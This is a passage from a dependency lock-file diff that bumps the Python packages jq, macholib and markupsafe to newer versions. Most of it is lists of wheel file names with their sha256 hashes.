"sha256:fe636cfa95b7027e7b43da83ecfd61431c0de80c3e0aa4946534b087149dcb4c"}, - {file = "jq-1.10.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:947fc7e1baaa7e95833b950e5a66b3e13a5cff028bff2d009b8c320124d9e69b"}, - {file = "jq-1.10.0-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:9382f85a347623afa521c43f8f09439e68906fd5b3492016f969a29219796bb9"}, - {file = "jq-1.10.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c376aab525d0a1debe403d3bc2f19fda9473696a1eda56bafc88248fc4ae6e7e"}, - {file = "jq-1.10.0-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:206f230c67a46776f848858c66b9c377a8e40c2b16195552edd96fd7b45f9a52"}, - {file = "jq-1.10.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:06986456ebc95ccb9e9c2a1f0e842bc9d441225a554a9f9d4370ad95a19ac000"}, - {file = "jq-1.10.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:d02c0be958ddb4d9254ff251b045df2f8ee5995137702eeab4ffa81158bcdbe0"}, - {file = "jq-1.10.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:37cf6fd2ebd2453e75ceef207d5a95a39fcbda371a9b8916db0bd42e8737a621"}, - {file = "jq-1.10.0-cp312-cp312-win32.whl", hash = "sha256:655d75d54a343944a9b011f568156cdc29ae0b35d2fdeefb001f459a4e4fc313"}, - {file = "jq-1.10.0-cp312-cp312-win_amd64.whl", hash = "sha256:1d67c2653ae41eab48f8888c213c9e1807b43167f26ac623c9f3e00989d3edee"}, - {file = "jq-1.10.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b11d6e115ebad15d738d49932c3a8b9bb302b928e0fb79acc80987598d147a43"}, - {file = "jq-1.10.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:df278904c5727dfe5bc678131a0636d731cd944879d890adf2fc6de35214b19b"}, - {file = "jq-1.10.0-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:ab4c1ec69fd7719fb1356e2ade7bd2b5a63d6f0eaf5a90fdc5c9f6145f0474ce"}, - {file = "jq-1.10.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:fd24dc21c8afcbe5aa812878251cfafa6f1dc6e1126c35d460cc7e67eb331018"}, - {file = "jq-1.10.0-cp313-cp313-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:8c0d3e89cd239c340c3a54e145ddf52fe63de31866cb73368d22a66bfe7e823f"}, - {file = "jq-1.10.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:76710b280e4c464395c3d8e656b849e2704bd06e950a4ebd767860572bbf67df"}, - {file = "jq-1.10.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:b11a56f1fb6e2985fd3627dbd8a0637f62b1a704f7b19705733d461dafa26429"}, - {file = "jq-1.10.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:ac05ae44d9aa1e462329e1510e0b5139ac4446de650c7bdfdab226aafdc978ec"}, - {file = "jq-1.10.0-cp313-cp313-win32.whl", hash = "sha256:0bad90f5734e2fc9d09c4116ae9102c357a4d75efa60a85758b0ba633774eddb"}, - {file = "jq-1.10.0-cp313-cp313-win_amd64.whl", hash = "sha256:4ec3fbca80a9dfb5349cdc2531faf14dd832e1847499513cf1fc477bcf46a479"}, - {file = "jq-1.10.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:09e6ca3095a3be59353a262c75f680a0934ac03e81d10b78d7eabcb9fb746543"}, - {file = "jq-1.10.0-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:57e7b81b69700ad6003f6d068ae5432fa54169e2c5b15a1f9073400d83c0115a"}, - {file = "jq-1.10.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:36a959b8cff3796b42f51a0be5fa37126ee66fc822e29620485a229f6c9baec6"}, - {file = "jq-1.10.0-cp38-cp38-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:f44bd6b9d03367a9e8a3f8f5c8343b572fbec9d148242f226e2a6f2eb459ba2b"}, - {file = "jq-1.10.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:48fb2cfe083942e370876e865fad3836aedc1b06ef30a2376e53ab35d6a7f728"}, - {file = "jq-1.10.0-cp38-cp38-musllinux_1_2_i686.whl", hash = "sha256:d47fe013dc22c82b425ae5358729a3d38de4097dda28d63f591c8bdd97bae6cb"}, - {file = "jq-1.10.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:2886606f40f2127ed4bea2aa2d30653d485ed26075dd5b52fb933aa7ec7b23d3"}, - {file = "jq-1.10.0-cp38-cp38-win32.whl", hash = "sha256:f1f277fd820246f0d80da2ddd39b6d5ea99b266c067abce34f1ff50bd3358477"}, - {file = "jq-1.10.0-cp38-cp38-win_amd64.whl", hash = "sha256:ab050dc7a6c204dde3a3d28e340f937e00cf69c8d3f7dd17e8c3ffef916784df"}, - {file = "jq-1.10.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:db746ec4f05a6622bca5785f58fa322f04c493de61c6761cbe5a61218babe3d9"}, - {file = "jq-1.10.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:bb9a6b5ff1e9d261ffae51aefbc66660bc1f5713339943aa95af7631062be163"}, - {file = "jq-1.10.0-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:6690eda99a5be16f28c6931918769af0c2d066257d4efedc7c4108cfbf4e242f"}, - {file = "jq-1.10.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3f4b28f04bb69eadb99c7ba3911246e6a200a886d82ae190a0af95037c427de6"}, - {file = "jq-1.10.0-cp39-cp39-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:d7278f1dfc49387551e670133b363a3368eeac74672dd4b520b7da4f8e803058"}, - {file = "jq-1.10.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:28c16ca90940dfb8a2bd28b2d02cb2a546faa91db5b03f2cb71148b158fc098c"}, - {file = "jq-1.10.0-cp39-cp39-musllinux_1_2_i686.whl", hash = "sha256:f700d2aa1ef2b58c33df0a06ba58e68196cc9f81d1b6eb6baaa34e81fc0dbe6d"}, - {file = "jq-1.10.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:cf18f3031da9727245529e16ad13ab8859d73cfe0bc0e09a79696038658c25d5"}, - {file = "jq-1.10.0-cp39-cp39-win32.whl", hash = "sha256:31753d5b45b1806d1d7241a45cb262b1f3db8c0f1f4c618d5a02cbe227d2c436"}, - {file = "jq-1.10.0-cp39-cp39-win_amd64.whl", hash = "sha256:c4648684034ba5b975be9b0099ca230ef088c14eeffb3357b522d9cba02a05ea"}, - {file = "jq-1.10.0-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:591d81677336551fd9cf3b5e23c1929ae3cd039a5c2d5fb8042870ed5372fd8c"}, - {file = "jq-1.10.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:f7f68716e8533294d2f5152e8659288091ea705778a00e066ed3b418ed724d81"}, - {file = "jq-1.10.0-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:72658f31d5723e7b87eea929e81d5083fd4132636a9dcdbf56ba9ea0e30ecaa3"}, - {file = "jq-1.10.0-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:039e84e19306f94bf0d15291f6d358c4086c702de48e2309c3183fd866bf2785"}, - {file = "jq-1.10.0-pp310-pypy310_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:e985ded6dc2105707cb04e98ca6acbe6c24614824ed0a2fae442d2b2bc78fbc4"}, - {file = "jq-1.10.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:185d450fb45cd44ad5939ec5813f1ed0d057fa0cb12a1ba6a5fe0e49d8354958"}, - {file = "jq-1.10.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:5e6649eb4ce390342e07c95c2fa10fed043410408620296122f0ac48a7576f1f"}, - {file = "jq-1.10.0-pp311-pypy311_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:002d93e50fab9d92035dfd79fd134052692be649e1b3835662a053016d9f2ee7"}, - {file = "jq-1.10.0-pp311-pypy311_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1602f95ffaef7ee357b65f414b59d6284619bd3a0a588c15c3a1ae534811c1fb"}, - {file = "jq-1.10.0-pp311-pypy311_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:4b28cfd1eac69e1dc14518ed9c33e497041e9f9310e5f6259fa9d18fe342fb50"}, - {file = "jq-1.10.0-pp38-pypy38_pp73-macosx_11_0_arm64.whl", hash = "sha256:061225bc6b45b399f4dfbece00f4fae78560c1d4e0f2af77203dde621c5f10be"}, - {file = "jq-1.10.0-pp39-pypy39_pp73-macosx_10_15_x86_64.whl", hash = "sha256:5dba7abfe55efe3f139247a30e1f13e94f33fddfea71245a18a817b619cb9fe9"}, - {file = "jq-1.10.0-pp39-pypy39_pp73-macosx_11_0_arm64.whl", hash = "sha256:c6f45acaad61c1947bf2fa172a2ccb2e882231c3cfbfc1ea4a2c4f032122a546"}, - {file = "jq-1.10.0-pp39-pypy39_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:16c250cd0a708d45b9bb08fdf4cac415156274f7f3f8f026e75b5a330d2162dd"}, - {file = "jq-1.10.0-pp39-pypy39_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:593551afc5f305c7d0adc840587350cb49c4ecba6464f4fc965cae87758621a7"}, - {file = "jq-1.10.0-pp39-pypy39_pp73-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:c550705145480b616b6bc114ab7f421c0d9a3041ad3dcb9424f992954823f7c2"}, - {file = "jq-1.10.0.tar.gz", hash = "sha256:fc38803075dbf1867e1b4ed268fef501feecb0c50f3555985a500faedfa70f08"}, + {file = "jq-1.11.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:04376071111798aa007f74196eb251fd9e008080412d81ba0f5042fdf75a2685"}, + {file = "jq-1.11.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:5f298e21cdaddae7de3ec67742535c3e30acd800016aaee2f9521f77b4918094"}, + {file = "jq-1.11.0-cp310-cp310-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:62561f673be573e17fb80ff95ad428d17f55d29546f6c44ffa04edaccd68212f"}, + {file = "jq-1.11.0-cp310-cp310-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e63630a51a01d8a8d587cbfa5a34544d7aa7a49d5d14bb8206e6e435d18af935"}, + {file = "jq-1.11.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:1e674aff383d7969645b97ec77fa49b774e129dbc203be04f88b2dac1bb390cd"}, + {file = "jq-1.11.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:669feef2326865a964e0b156f83e6608e8d7011462f773339198b4b1882fd05c"}, + {file = "jq-1.11.0-cp310-cp310-win_amd64.whl", hash = "sha256:8b56408bbe7d19e6ad3f1ba34fd70b3a2269b5acb322651e1262c9632e9e2a01"}, + {file = "jq-1.11.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:fe1c5facefd0f1197fb95cda8f31195487f431e4c4699cb0cb207efc47553504"}, + {file = "jq-1.11.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:e8f4f1fd9fd85416d978e4e0d8e3fb7603bdb7da87f5cd6dc5e94047b75a4813"}, + {file = "jq-1.11.0-cp311-cp311-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8bb8d244a6b11140c0908affbad621485788500d4236cf7c09b6f0087e991815"}, + {file = "jq-1.11.0-cp311-cp311-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:17755df4b65ad9f9021c43b90a04c02f771b32b8c429a0e7ff160a13229f787e"}, + {file = "jq-1.11.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:7a8d080c00b5fc66bb9ee2876402b978b84a7108526b4c9affd704813a2add78"}, + {file = "jq-1.11.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:06819d14f18187379959f0ac5fdd1bcf7f452d84623a2945d7ed1d1ceeba8499"}, + {file = "jq-1.11.0-cp311-cp311-win_amd64.whl", hash = "sha256:c463edd4f45ff3e1923766a0c582a8e955bd889dd756e0ac6392d28f5ca144db"}, + {file = "jq-1.11.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:d63c4437f256edb6c204481181d19e3e33f24781b1bfbab2db589af574567bed"}, + {file = "jq-1.11.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:0db188d73f2b6ad4e4f62653b2a4ea06dd99b790cc9a8aba6b617d9d0806aee0"}, + {file = "jq-1.11.0-cp312-cp312-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:4a6d0cde00e6da44f49772c5f77b0efa1d11d5866b2af923fd94e2ffbdfae89c"}, + {file = "jq-1.11.0-cp312-cp312-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:40489d775f77d9d8b4ec1f3ab1e977415e003c5065ad3befbe61ae80810bc381"}, + {file = "jq-1.11.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:d2ac5087d6d16929cf0f9918ed83b3d4c5d765bd160d3af125131bb124001d3a"}, + {file = "jq-1.11.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:a8a67a52445535edffe10733b9da493134bfbf354acdbeb29d9ef28fd39938ac"}, + {file = "jq-1.11.0-cp312-cp312-win_amd64.whl", hash = "sha256:824a295e62802a67a21f13e4b2d32a24ff5849f7bd435b042e68a9c598c8e778"}, + {file = "jq-1.11.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:9aba6e4a4e66a8d55f45137c7039dd56a65ad95ef4c1c1c208190971966429b9"}, + {file = "jq-1.11.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:5295d6d2a6c1de53f9ca1cd3211f5728e20c0be1e6456486a9e6b6016102e173"}, + {file = "jq-1.11.0-cp313-cp313-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e04a8c3b0b4d78cab658ec8cd1b34f7c9a711355ff6d8aa01a3b24955b3eb531"}, + {file = "jq-1.11.0-cp313-cp313-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5e08573ee9a5448166f1e8f068ce05fba21db15adcebbaf2472729d36ec92a1e"}, + {file = "jq-1.11.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:cd4376b62fc18e8c3f5334f388f92a48b148cf755610ad44d22958a41edcbc8d"}, + {file = "jq-1.11.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:680edbd5838fb04539469e39e3e147ae3890b90af3e727d6028e370f8a202b1c"}, + {file = "jq-1.11.0-cp313-cp313-win_amd64.whl", hash = "sha256:54f896e878c89cef4c05aff53f822de62a08e91d08bad7cbf4f7e91b7a06a460"}, + {file = "jq-1.11.0-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:07100bc8338f4030c12fb87816f2f04d4cac78363152dbb8f8cb12fcb3dbbd5f"}, + {file = "jq-1.11.0-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:7051d8443d36e0df151fd509a34dff8c03bb8c99a0224b25a784920ea5059689"}, + {file = "jq-1.11.0-cp314-cp314-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:87fec2d61b50ef1b9aaae8de78593a689504c22ec9933a02de202d407b74424c"}, + {file = "jq-1.11.0-cp314-cp314-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:40ee2639e5ff8af74651a6531d79309871ccb722aa4ad28b35f53bdc504d41f7"}, + {file = "jq-1.11.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:9ecaa3193e11ade477eed608e017354f1d9ef66b97e7fe94575a579aee9b394b"}, + {file = "jq-1.11.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:05c9520b89e2fc99ac397b67ba5672897671c0116b397707cfbc1f8da8722f5a"}, + {file = "jq-1.11.0-cp314-cp314-win_amd64.whl", hash = "sha256:00ee063b24bb3cc721d6dd92ac05ef2882096c7a9f50972959ef4655486d7a69"}, + {file = "jq-1.11.0-cp314-cp314t-macosx_10_15_x86_64.whl", hash = "sha256:c4c769ee81de2d799856868bf3bdb1a835e0fb26a62f67a5d8d6ab5392b6e7fa"}, + {file = "jq-1.11.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:f6857f2770d1afb8a202f9b6702a7f099cf4052d820f76d01c59dfc6e44d4709"}, + {file = "jq-1.11.0-cp314-cp314t-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:b0f6287977012657776f85fa15ca3c072974ded3d98a3400a765c49e84dfb16e"}, + {file = "jq-1.11.0-cp314-cp314t-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:7cf7f44b346c4494be880d3f07c1c72ff56066714b2f8ae2400009afdbdb4adc"}, + {file = "jq-1.11.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e46494407cb074d2ffc35337cbe841686aa42f3d1a49901fab3571b55c2e2463"}, + {file = "jq-1.11.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:2bea91038d8ea749c54cc06f916afe07a2dbfa05817f3945f89efa75e3dd9517"}, + {file = "jq-1.11.0-cp314-cp314t-win_amd64.whl", hash = "sha256:219ff02280ee55d2a57c0519b1b122003e538975e30522c21372d6df74b12317"}, + {file = "jq-1.11.0-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:cd04536e250e9f9e123356b56d07e3320adfeffed166b8d6532d9f265f9ebcd2"}, + {file = "jq-1.11.0-cp38-cp38-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:42e65a38ce2ce3f8b5fc522b5d1e09351886a09026daa9e4ab6c258f0739b94b"}, + {file = "jq-1.11.0-cp38-cp38-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:e10f635d594a7ebec56175c51deaadce94dd506b1c97d6f6ae0a6c3322b804c8"}, + {file = "jq-1.11.0-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:b18cda2f5a51ea7455beef19db604c6c5943ca9b994bd63d4a77ebb3db19dfec"}, + {file = "jq-1.11.0-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:610b51ea8a19275a22b290e419d665711f9b4e373602309f5fbdb2b507ad7050"}, + {file = "jq-1.11.0-cp38-cp38-win_amd64.whl", hash = "sha256:24ca54f24b21f2d7ef8f664c582716b44a6f5e5770ccbf475fc33b7b2d3145a5"}, + {file = "jq-1.11.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ecff3e4794058fe7acf5bf3dc75526954783adb8dd0907e94a757b4137b97e76"}, + {file = "jq-1.11.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:75ae4fb6891ca8ad19e986392f22080ec835072f6844c7f632241c019d26e6fc"}, + {file = "jq-1.11.0-cp39-cp39-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:3a39c154e50949d87434ac40edfe1d6f479bb248acf4e9059d2a64f37a734780"}, + {file = "jq-1.11.0-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:a9511b8c38435e29347f2874aef683009a9ec6fd9ba3641db99de55b21701603"}, + {file = "jq-1.11.0-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:781fbe32274ea33d8200634a378b35c4ab7e17889c6618149c02535e248a6e7d"}, + {file = "jq-1.11.0-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:07c5a9b08b38b414b4a5f562f4ed99ef58e0aeb2530fcd53802abda8ce1d9e8b"}, + {file = "jq-1.11.0-cp39-cp39-win_amd64.whl", hash = "sha256:fbb189af2000458bbd59d291c73d5257b46d2ca9ef00c3d76b410fbb7dc0fd33"}, + {file = "jq-1.11.0-pp311-pypy311_pp73-macosx_10_15_x86_64.whl", hash = "sha256:62b8fd1b93ba3bad1f1051fa955ff675d076466c2e900c59afe2393bc09c49bc"}, + {file = "jq-1.11.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:77686477535191cdd2a01acfdcf3d67e71b4319edf33cab5bf5e383bbe147291"}, + {file = "jq-1.11.0-pp311-pypy311_pp73-manylinux_2_24_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:1bfeb6627f8dace23e0eaf7818ba4c5227e60bc2e843c9eafe895d59c0d274d1"}, + {file = "jq-1.11.0-pp311-pypy311_pp73-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:594ebd007244e16b333bd2f35a5b766176be107ee99f9d92883a79d50439b93c"}, + {file = "jq-1.11.0.tar.gz", hash = "sha256:67f1032e3a61b4e5dcdd4e390527b0000db521ac9872b64517c83c5f71ef8450"}, ] [[package]] name = "macholib" -version = "1.16.3" +version = "1.16.4" description = "Mach-O header analysis and editing" optional = false python-versions = "*" groups = ["main"] files = [ - {file = "macholib-1.16.3-py2.py3-none-any.whl", hash = "sha256:0e315d7583d38b8c77e815b1ecbdbf504a8258d8b3e17b61165c6feb60d18f2c"}, - {file = "macholib-1.16.3.tar.gz", hash = "sha256:07ae9e15e8e4cd9a788013d81f5908b3609aa76f9b1421bae9c4d7606ec86a30"}, + {file = "macholib-1.16.4-py2.py3-none-any.whl", hash = "sha256:da1a3fa8266e30f0ce7e97c6a54eefaae8edd1e5f86f3eb8b95457cae90265ea"}, + {file = "macholib-1.16.4.tar.gz", hash = "sha256:f408c93ab2e995cd2c46e34fe328b130404be143469e41bc366c807448979362"}, ] [package.dependencies] @@ -901,73 +973,101 @@ altgraph = ">=0.17" [[package]] name = "markupsafe" -version = "3.0.2" +version = "3.0.3" description = "Safely add untrusted strings to HTML/XML markup." optional = false python-versions = ">=3.9" groups = ["main"] files = [ - {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:7e94c425039cde14257288fd61dcfb01963e658efbc0ff54f5306b06054700f8"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:9e2d922824181480953426608b81967de705c3cef4d1af983af849d7bd619158"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:38a9ef736c01fccdd6600705b09dc574584b89bea478200c5fbf112a6b0d5579"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:bbcb445fa71794da8f178f0f6d66789a28d7319071af7a496d4d507ed566270d"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:57cb5a3cf367aeb1d316576250f65edec5bb3be939e9247ae594b4bcbc317dfb"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:3809ede931876f5b2ec92eef964286840ed3540dadf803dd570c3b7e13141a3b"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e07c3764494e3776c602c1e78e298937c3315ccc9043ead7e685b7f2b8d47b3c"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:b424c77b206d63d500bcb69fa55ed8d0e6a3774056bdc4839fc9298a7edca171"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-win32.whl", hash = "sha256:fcabf5ff6eea076f859677f5f0b6b5c1a51e70a376b0579e0eadef8db48c6b50"}, - {file = "MarkupSafe-3.0.2-cp310-cp310-win_amd64.whl", hash = "sha256:6af100e168aa82a50e186c82875a5893c5597a0c1ccdb0d8b40240b1f28b969a"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:9025b4018f3a1314059769c7bf15441064b2207cb3f065e6ea1e7359cb46db9d"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:93335ca3812df2f366e80509ae119189886b0f3c2b81325d39efdb84a1e2ae93"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:2cb8438c3cbb25e220c2ab33bb226559e7afb3baec11c4f218ffa7308603c832"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:a123e330ef0853c6e822384873bef7507557d8e4a082961e1defa947aa59ba84"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1e084f686b92e5b83186b07e8a17fc09e38fff551f3602b249881fec658d3eca"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:d8213e09c917a951de9d09ecee036d5c7d36cb6cb7dbaece4c71a60d79fb9798"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:5b02fb34468b6aaa40dfc198d813a641e3a63b98c2b05a16b9f80b7ec314185e"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:0bff5e0ae4ef2e1ae4fdf2dfd5b76c75e5c2fa4132d05fc1b0dabcd20c7e28c4"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-win32.whl", hash = "sha256:6c89876f41da747c8d3677a2b540fb32ef5715f97b66eeb0c6b66f5e3ef6f59d"}, - {file = "MarkupSafe-3.0.2-cp311-cp311-win_amd64.whl", hash = "sha256:70a87b411535ccad5ef2f1df5136506a10775d267e197e4cf531ced10537bd6b"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_10_13_universal2.whl", hash = "sha256:9778bd8ab0a994ebf6f84c2b949e65736d5575320a17ae8984a77fab08db94cf"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:846ade7b71e3536c4e56b386c2a47adf5741d2d8b94ec9dc3e92e5e1ee1e2225"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1c99d261bd2d5f6b59325c92c73df481e05e57f19837bdca8413b9eac4bd8028"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e17c96c14e19278594aa4841ec148115f9c7615a47382ecb6b82bd8fea3ab0c8"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-manylinux_2_5_i686.manylinux1_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:88416bd1e65dcea10bc7569faacb2c20ce071dd1f87539ca2ab364bf6231393c"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:2181e67807fc2fa785d0592dc2d6206c019b9502410671cc905d132a92866557"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:52305740fe773d09cffb16f8ed0427942901f00adedac82ec8b67752f58a1b22"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:ad10d3ded218f1039f11a75f8091880239651b52e9bb592ca27de44eed242a48"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-win32.whl", hash = "sha256:0f4ca02bea9a23221c0182836703cbf8930c5e9454bacce27e767509fa286a30"}, - {file = "MarkupSafe-3.0.2-cp312-cp312-win_amd64.whl", hash = "sha256:8e06879fc22a25ca47312fbe7c8264eb0b662f6db27cb2d3bbbc74b1df4b9b87"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ba9527cdd4c926ed0760bc301f6728ef34d841f405abf9d4f959c478421e4efd"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:f8b3d067f2e40fe93e1ccdd6b2e1d16c43140e76f02fb1319a05cf2b79d99430"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:569511d3b58c8791ab4c2e1285575265991e6d8f8700c7be0e88f86cb0672094"}, - {file = "MarkupSafe-3.0.2-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = 